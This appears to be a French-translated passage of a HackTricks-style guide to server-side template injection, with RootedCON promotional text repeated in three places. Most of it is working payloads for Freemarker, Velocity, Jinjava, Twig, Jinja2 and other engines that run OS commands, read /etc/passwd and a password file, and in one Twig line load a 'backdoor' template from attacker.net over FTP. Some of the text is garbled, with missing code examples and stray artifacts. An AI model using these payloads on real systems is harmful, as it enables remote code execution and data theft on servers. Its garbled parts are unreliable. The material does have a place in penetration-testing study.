RootedCON est l'événement de cybersécurité le plus pertinent en Espagne et l'un des plus importants en Europe. Avec pour mission de promouvoir les connaissances techniques, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline.
Qu'est-ce que l'injection de modèle côté serveur (SSTI)
L'injection de modèle côté serveur est une vulnérabilité qui se produit lorsqu'un attaquant peut injecter du code malveillant dans un modèle qui est exécuté sur le serveur. Cette vulnérabilité peut être trouvée dans diverses technologies, y compris Jinja.
Jinja est un moteur de modèle populaire utilisé dans les applications web. Considérons un exemple qui illustre un extrait de code vulnérable utilisant Jinja:
Dans ce code vulnérable, le paramètre name de la requête de l'utilisateur est directement passé dans le modèle à l'aide de la fonction render. Cela pourrait potentiellement permettre à un attaquant d'injecter du code malveillant dans le paramètre name, entraînant une injection de modèle côté serveur.
Par exemple, un attaquant pourrait créer une requête avec une charge utile comme ceci :
Le payload {{mauvaises-informations-ici}} est injecté dans le paramètre name. Ce payload peut contenir des directives de modèle Jinja qui permettent à l'attaquant d'exécuter du code non autorisé ou de manipuler le moteur de modèle, potentiellement prenant le contrôle du serveur.
Pour prévenir les vulnérabilités d'injection de modèle côté serveur, les développeurs doivent s'assurer que les entrées utilisateur sont correctement nettoyées et validées avant d'être insérées dans les modèles. Mettre en place une validation des entrées et utiliser des techniques d'échappement contextuel peut aider à atténuer le risque de cette vulnérabilité.
Détection
Pour détecter l'injection de modèle côté serveur (SSTI), initialement, fuzzer le modèle est une approche directe. Cela implique d'injecter une séquence de caractères spéciaux (${{<%[%'"}}%\) dans le modèle et d'analyser les différences dans la réponse du serveur entre des données régulières et cette charge spéciale. Les indicateurs de vulnérabilité incluent :
Des erreurs renvoyées, révélant la vulnérabilité et potentiellement le moteur de modèle.
Absence de la charge dans la réflexion, ou des parties manquantes, impliquant que le serveur la traite différemment des données régulières.
Contexte en texte clair : Différencier des XSS en vérifiant si le serveur évalue les expressions de modèle (par exemple, {{7*7}}, ${7*7}).
Contexte de code : Confirmer la vulnérabilité en modifiant les paramètres d'entrée. Par exemple, changer greeting dans http://site-web-vulnérable.com/?greeting=data.username pour voir si la sortie du serveur est dynamique ou fixe, comme dans greeting=data.username}}hello renvoyant le nom d'utilisateur.
Phase d'Identification
Identifier le moteur de modèle implique d'analyser les messages d'erreur ou de tester manuellement diverses charges spécifiques à chaque langage. Les charges courantes provoquant des erreurs incluent ${7/0}, {{7/0}}, et <%= 7/0 %>. Observer la réponse du serveur aux opérations mathématiques aide à cibler le moteur de modèle spécifique.
un tableau interactif contenant les polyglottes d'injection de modèle les plus efficaces ainsi que les réponses attendues des 44 moteurs de modèle les plus importants.
Exploits
Générique
Dans cette liste de mots, vous pouvez trouver les variables définies dans les environnements de certains des moteurs mentionnés ci-dessous :
${7*7}${{7*7}}${class.getClassLoader()}${class.getResource("").getPath()}${class.getResource("../../../../../index.htm").getContent()}// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
Java - Récupérer les variables d'environnement du système
<#assign ex ="freemarker.template.utility.Execute"?new()>${ ex("id")}[#assign ex ='freemarker.template.utility.Execute'?new()]${ ex('id')}${"freemarker.template.utility.Execute"?new()("id")}${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - Contournement du bac à sable
⚠️ fonctionne uniquement sur les versions de Freemarker inférieures à 2.3.30
// I think this doesn't work#set($str=$class.inspect("java.lang.String").type)#set($chr=$class.inspect("java.lang.Character").type)#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))$ex.waitFor()#set($out=$ex.getInputStream())#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end// This should work?#set($s="")#set($stringClass=$s.getClass())#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())#set($process=$runtime.exec("cat%20/flag563378e453.txt"))#set($out=$process.getInputStream())#set($null=$process.waitFor() )#foreach($i+in+[1..$out.available()])$out.read()#end
Dans Thymeleaf, un test courant pour les vulnérabilités SSTI est l'expression ${7*7}, qui s'applique également à ce moteur de template. Pour une éventuelle exécution de code à distance, des expressions comme celles-ci peuvent être utilisées :
Thymeleaf exige que ces expressions soient placées dans des attributs spécifiques. Cependant, l'insertion d'expression est prise en charge pour d'autres emplacements de template, en utilisant une syntaxe comme [[...]] ou [(...)]. Ainsi, une charge utile de test SSTI simple pourrait ressembler à [[${7*7}]].
Cependant, la probabilité que cette charge utile fonctionne est généralement faible. La configuration par défaut de Thymeleaf ne prend pas en charge la génération dynamique de templates ; les templates doivent être prédéfinis. Les développeurs devraient mettre en œuvre leur propre TemplateResolver pour créer des templates à partir de chaînes à la volée, ce qui est rare.
Thymeleaf offre également un prétraitement des expressions, où les expressions entre doubles tirets bas (__...__) sont prétraitées. Cette fonctionnalité peut être utilisée dans la construction d'expressions, comme le montre la documentation de Thymeleaf :
#{selection.__${sel.code}__}
Exemple de Vulnérabilité dans Thymeleaf
Considérez le code suivant, qui pourrait être susceptible à l'exploitation :
Cela indique que si le moteur de template traite ces entrées de manière incorrecte, cela pourrait entraîner l'exécution de code à distance accédant aux URL suivantes :
{% set cmd ='id'%}{% set bytes = (1).TYPE.forName('java.lang.Runtime').methods[6].invoke(null,null).exec(cmd).inputStream.readAllBytes() %}{{ (1).TYPE.forName('java.lang.String').constructors[0].newInstance(([bytes]).toArray()) }}
Jinjava (Java)
Jinjava est un moteur de template Java qui prend en charge l'injection de template côté serveur (SSTI). Il est utilisé dans divers frameworks Java tels que Spring Boot. Les attaquants peuvent exploiter les vulnérabilités SSTI pour exécuter du code arbitraire sur le serveur.
{{'a'.toUpperCase()}} would result in 'A'{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
{{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
{{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Recherche de "com.hubspot.content.hubl.context.TemplateContextRequest" et découverte du projet Jinjava sur Github.
{{request.isDebug()}}//output: False//Using string 'a' to get an instance of class sun.misc.Launcher{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}//output: sun.misc.Launcher@715537d4//It is also possible to get a new object of the Jinjava class{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}//output: com.hubspot.jinjava.JinjavaConfig@78a56797//It was also possible to call methods on the created object by combining the{%%} and {{ }} blocks{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}{{ji.render('{{1*2}}')}}//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}//output: xxx//RCE{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}//output: java.lang.UNIXProcess@1e5f456e//RCE with org.apache.commons.io.IOUtils.{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}//output: netstat execution//Multiple arguments to the commandsPayload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Le Langage d'Expression (EL) est une fonctionnalité fondamentale qui facilite l'interaction entre la couche de présentation (comme les pages web) et la logique de l'application (comme les beans gérés) en JavaEE. Il est largement utilisé dans de multiples technologies JavaEE pour rationaliser cette communication. Les principales technologies JavaEE utilisant EL incluent :
JavaServer Faces (JSF) : Utilise EL pour lier les composants des pages JSF aux données et actions backend correspondantes.
JavaServer Pages (JSP) : EL est utilisé dans JSP pour accéder et manipuler les données au sein des pages JSP, facilitant la connexion des éléments de la page aux données de l'application.
Contexts and Dependency Injection for Java EE (CDI) : EL s'intègre à CDI pour permettre une interaction transparente entre la couche web et les beans gérés, assurant une structure d'application plus cohérente.
Consultez la page suivante pour en savoir plus sur l'exploitation des interpréteurs EL :
RootedCON est l'événement le plus pertinent en matière de cybersécurité en Espagne et l'un des plus importants en Europe. Avec pour mission de promouvoir les connaissances techniques, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline.
#Get Info{{_self}}#(Ref. to current application){{_self.env}}{{dump(app)}}{{app.request.server.all|join(',')}}#File read"{{'/etc/passwd'|file_excerpt(1,30)}}"@#Exec code{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}{{['id']|filter('system')}}{{['cat\x20/etc/passwd']|filter('system')}}{{['cat$IFS/etc/passwd']|filter('system')}}{{['id',""]|sort('system')}}#Hide warnings and errors for automatic exploitation{{["error_reporting","0"]|sort("ini_set")}}
Plates est un moteur de modèle natif à PHP, s'inspirant de Twig. Cependant, contrairement à Twig, qui introduit une nouvelle syntaxe, Plates utilise du code PHP natif dans les modèles, le rendant intuitif pour les développeurs PHP.
Contrôleur :
// Create new Plates instance$templates =newLeague\Plates\Engine('/path/to/templates');// Render a templateecho $templates->render('profile', ['name'=>'Jonathan']);
<html><head><title>{PAGE_TITLE}</title></head><body><table><caption>Authors</caption><thead><tr><th>Name</th><th>Email</th></tr></thead><tfoot><tr><tdcolspan="2">{NUM_AUTHORS}</td></tr></tfoot><tbody><!-- BEGIN authorline --><tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr><!-- END authorline --></tbody></table></body></html>
authors.php
<?php//we want to display this author list$authors =array('Christian Weiske'=>'cweiske@php.net','Bjoern Schotte'=>'schotte@mayflower.de');require_once'HTML/Template/PHPLIB.php';//create template object$t =&newHTML_Template_PHPLIB(dirname(__FILE__),'keep');//load file$t->setFile('authors','authors.tpl');//set block$t->setBlock('authors','authorline','authorline_ref');//set some variables$t->setVar('NUM_AUTHORS',count($authors));$t->setVar('PAGE_TITLE','Code authors as of '.date('Y-m-d'));//display the authorsforeach ($authors as $name => $email) {$t->setVar('AUTHOR_NAME', $name);$t->setVar('AUTHOR_EMAIL', $email);$t->parse('authorline_ref','authorline',true);}//finish and echoecho $t->finish($t->parse('OUT','authors'));?>
patTemplate moteur de template PHP non compilant, qui utilise des balises XML pour diviser un document en différentes parties
<patTemplate:tmplname="page">This is the main page.<patTemplate:tmplname="foo">It contains another template.</patTemplate:tmpl><patTemplate:tmplname="hello">Hello {NAME}.<br/></patTemplate:tmpl></patTemplate:tmpl>
Jinja2 est un moteur de template complet pour Python. Il prend en charge l'unicode complet, un environnement d'exécution sandboxé intégré en option, est largement utilisé et sous licence BSD.
{{7*7}} = Erreur
${7*7} = ${7*7}
{{foobar}} Rien
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
{% debug %}{{settings.SECRET_KEY}}{{4*4}}[[5*5]]{{7*'7'}} would result in7777777
Jinja2 - Format de modèle
{% extends "layout.html"%}{% block body %}<ul>{%for user in users %}<li><a href="{{ user.url }}">{{ user.username }}</a></li>{% endfor %}</ul>{% endblock %}
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read()}}{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read()}}# Or in the shotest versions:{{ cycler.__init__.__globals__.os.popen('id').read()}}{{ joiner.__init__.__globals__.os.popen('id').read()}}{{ namespace.__init__.__globals__.os.popen('id').read()}}
La méthode .NET System.Diagnostics.Process.Start peut être utilisée pour démarrer n'importe quel processus sur le serveur et ainsi créer un shell web. Vous pouvez trouver un exemple d'application web vulnérable sur https://github.com/cnotin/RazorVulnerableApp
Même s'il s'agit de perl, il utilise des balises comme ERB en Ruby.
<%= 7*7 %> = 49
<%= foobar %> = Erreur
<%= perl code %>
<% perl code %>
SSTI en GO
Dans le moteur de template de Go, la confirmation de son utilisation peut être faite avec des charges spécifiques :
{{ . }} : Révèle la structure des données en entrée. Par exemple, si un objet avec un attribut Password est passé, {{ .Password }} pourrait l'exposer.
{{printf "%s" "ssti" }} : Devrait afficher la chaîne "ssti".
{{html "ssti"}}, {{js "ssti"}} : Ces charges devraient renvoyer "ssti" sans ajouter "html" ou "js". D'autres directives peuvent être explorées dans la documentation de Go ici.
Exploitation XSS
Avec le package text/template, les attaques XSS peuvent être directes en insérant la charge directement. En revanche, le package html/template encode la réponse pour empêcher cela (par exemple, {{"<script>alert(1)</script>"}} donne <script>alert(1)</script>). Néanmoins, la définition et l'invocation de modèles en Go peuvent contourner cet encodage : {{define "T1"}}alert(1){{end}} {{template "T1"}}
vbnet Copier le code
Exploitation RCE
L'exploitation RCE diffère significativement entre html/template et text/template. Le module text/template permet d'appeler directement n'importe quelle fonction publique (en utilisant la valeur "call"), ce qui n'est pas autorisé dans html/template. La documentation de ces modules est disponible ici pour html/template et ici pour text/template.
Pour l'exploitation RCE via SSTI en Go, les méthodes d'objet peuvent être invoquées. Par exemple, si l'objet fourni a une méthode System exécutant des commandes, elle peut être exploitée comme {{ .System "ls" }}. L'accès au code source est généralement nécessaire pour exploiter cela, comme dans l'exemple donné :
RootedCON est l'événement le plus pertinent en matière de cybersécurité en Espagne et l'un des plus importants en Europe. Avec pour mission de promouvoir les connaissances techniques, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline.